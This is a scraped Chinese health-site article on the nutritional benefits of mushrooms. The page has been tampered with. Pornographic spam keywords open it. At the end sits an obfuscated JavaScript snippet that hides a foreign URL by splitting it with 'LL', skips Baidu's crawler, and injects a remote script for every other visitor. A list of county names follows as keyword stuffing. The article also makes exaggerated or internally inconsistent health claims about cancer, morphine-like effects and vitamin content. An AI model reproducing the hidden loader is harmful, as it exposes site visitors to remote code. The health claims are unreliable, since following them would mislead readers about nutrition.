亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

蘑菇的營(yíng)養(yǎng)是怎樣的

2017-07-07 10:41:55  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):我們?nèi)粘o嬍车姆N類(lèi)是非常繁多的,其中蘑菇就是我們平時(shí)經(jīng)常食用到的一種菌類(lèi)食物,蘑菇具有營(yíng)養(yǎng)價(jià)值非常豐富,然而我們對(duì)它的營(yíng)養(yǎng)價(jià)值有哪

我們?nèi)粘o嬍车姆N類(lèi)是非常繁多的,其中蘑菇就是我們平時(shí)經(jīng)常食用到的一種菌類(lèi)食物,蘑菇具有營(yíng)養(yǎng)價(jià)值非常豐富,然而我們對(duì)它的營(yíng)養(yǎng)價(jià)值有哪些了解的并不是特別的多,但是畢竟每個(gè)人的體質(zhì)都是不同的,為了能夠讓我們清楚哪一些人平時(shí)更適合多食用些蘑菇,下面一起了解一下蘑菇的營(yíng)養(yǎng)是怎樣的。

蘑菇的營(yíng)養(yǎng)

⒈提高機(jī)體免疫力

蘑菇的有效成分可增強(qiáng)T淋巴細(xì)胞功能,從而提高機(jī)體抵御各種疾病的免疫功能。

⒉鎮(zhèn)痛,鎮(zhèn)靜[5]

巴西某研究所從蘑菇中提取到一種物質(zhì)Act-2,具鎮(zhèn)痛、鎮(zhèn)靜功效,其鎮(zhèn)痛效果可代替嗎啡。

⒊止咳化痰

蘑菇提取液用于動(dòng)物實(shí)驗(yàn),發(fā)現(xiàn)其有明顯的鎮(zhèn)咳、稀化痰液的作用。

⒋抗癌

日本研究人員在蘑菇有效成分中分析出一種分子量為288的超強(qiáng)力抗癌物質(zhì),能抑制癌細(xì)胞的生長(zhǎng),其作用比綠茶中的抗癌物質(zhì)強(qiáng)1000倍。蘑菇中還含有一種毒蛋白,能有效地阻止癌細(xì)胞的蛋白合成。

⒌通便排毒

蘑菇中所含的人體很難消化的粗纖維、半粗纖維和木質(zhì)素,可保持腸內(nèi)水分,并吸收余下的膽固醇、糖分,將其排出體外,對(duì)預(yù)防便秘、腸癌、動(dòng)脈硬化。糖尿病等都十分有利。

食用好處

1、美味

蘑菇有除了酸甜苦辣咸以外的第六種味道——鮮。當(dāng)它們與此外食品一路同化烹飪時(shí),風(fēng)味極佳,是很好的“鮮味補(bǔ)給”。

2、熱量低

蘑菇里的營(yíng)養(yǎng)有助心臟健康,并能增強(qiáng)免疫力。每餐蘑菇的熱量概況只有20大卡,比吃年糕之類(lèi)的熱量少多了,是很好的減肥食品。

3、維生素D豐富

蘑菇不同于其他的蔬菜和果品,其中的維生素D含量很是豐富,有益于骨骼健康。陽(yáng)光中的紫外線是促進(jìn)蘑菇產(chǎn)生維生素D的重要物質(zhì)。無(wú)論是采摘后的蘑菇還是沒(méi)采摘的,都有此項(xiàng)功能。夏季紫外線比較強(qiáng),可選擇上午10點(diǎn)到下午3點(diǎn)區(qū)間的時(shí)間來(lái)曬蘑菇,這樣只需曬一個(gè)小時(shí)就足夠了。這樣能夠提高蘑菇中維生素D的含量。[6]

4、抗氧化

蘑菇的抗氧化能力很強(qiáng)可以有效的延緩衰老

5、維生素A寶庫(kù)

蘑菇所含蛋白質(zhì)高達(dá)30%以上,每100克鮮菇中的維生素C含量高達(dá)206.28毫克,而且蘑菇中的胡蘿卜素可轉(zhuǎn)化為維生素A,因此蘑菇又有“維生素A寶庫(kù)”之稱。有的蘑菇中纖維素含量也超過(guò)一般蔬菜,能有效防止便秘。

6、營(yíng)養(yǎng)豐富

蘑菇中的蛋白質(zhì)含量多在30%以上,比一般的蔬菜和水果要高出很多。含有多種維生素和豐富的鈣、鐵等礦物質(zhì)。最重要是它還含有人體自身不能合成卻又是必須的8種氨基酸。

7、減肥

蘑菇中有大量無(wú)機(jī)質(zhì)、維生素、蛋白質(zhì)等豐富的營(yíng)養(yǎng)成分,但熱量很低,常吃也不會(huì)發(fā)胖。且蘑菇所含有很高的植物纖維素,可防止便秘、降低血液中的膽固醇含量。蘑菇中的維生素c比一般水果要高很多,可促進(jìn)人體的新陳代謝。[7]

上面都是對(duì)蘑菇的營(yíng)養(yǎng)是怎樣的介紹,通過(guò)了解之后我們知道蘑菇的營(yíng)養(yǎng)價(jià)值是非常豐富的,我們平時(shí)在生活中可以經(jīng)常食用一些蘑菇,而且蘑菇的品種也是多種多樣的,能夠滿足不同的人對(duì)食物的要求。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
鹤峰县| 宣恩县| 绵阳市| 永城市| 香河县| 方正县| 陆川县| 伊川县| 黄梅县| 清水河县| 阿拉善盟| 仁寿县| 温州市| 鹤庆县| 周宁县| 镇坪县| 永嘉县| 许昌县| 巴楚县| 滕州市| 工布江达县| 宁明县| 桃江县| 藁城市| 汤阴县| 水富县| 涿鹿县| 河南省| 泽库县| 建阳市| 黔西县| 富蕴县| 和龙市| 浠水县| 驻马店市| 永平县| 盐津县| 福泉市| 凤冈县| 布拖县| 大姚县|